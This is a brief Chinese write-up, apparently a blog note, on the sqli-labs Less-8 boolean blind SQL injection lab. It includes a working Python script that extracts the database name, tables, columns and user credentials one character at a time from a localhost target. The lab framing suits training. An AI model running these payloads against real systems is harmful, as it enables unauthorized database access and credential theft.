sql盲注 sqli-lab8

在学习盲注先学习几个函数

整型没有变化不是

是字符型

判断表列为3

发现查询不出用盲注来进行判断

我们用盲注来判断数据库长度

数据库长度为8

然后来爆数据库名

跑一下数据库

import requests import re url = "http://localhost:8085/sqli/Less-8/?id=" result="" for i in range(1,50): low=32 high=128 while low<high: mid=(low+high)//2 payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)获取数据库名 #payload ="1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)--+"%(i,mid)获取表 #payload = "1' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),%d,1))>%d)--+" % (i, mid)获字段 #payload = "1' and (ascii(substr((select group_concat(username,password) from users),%d,1))>%d)--+" % (i, mid) r=requests.get(url+payload) if "You are" in r.text: low=mid+1 else: high=mid if low<=128: char=chr(low) result+=char print(result)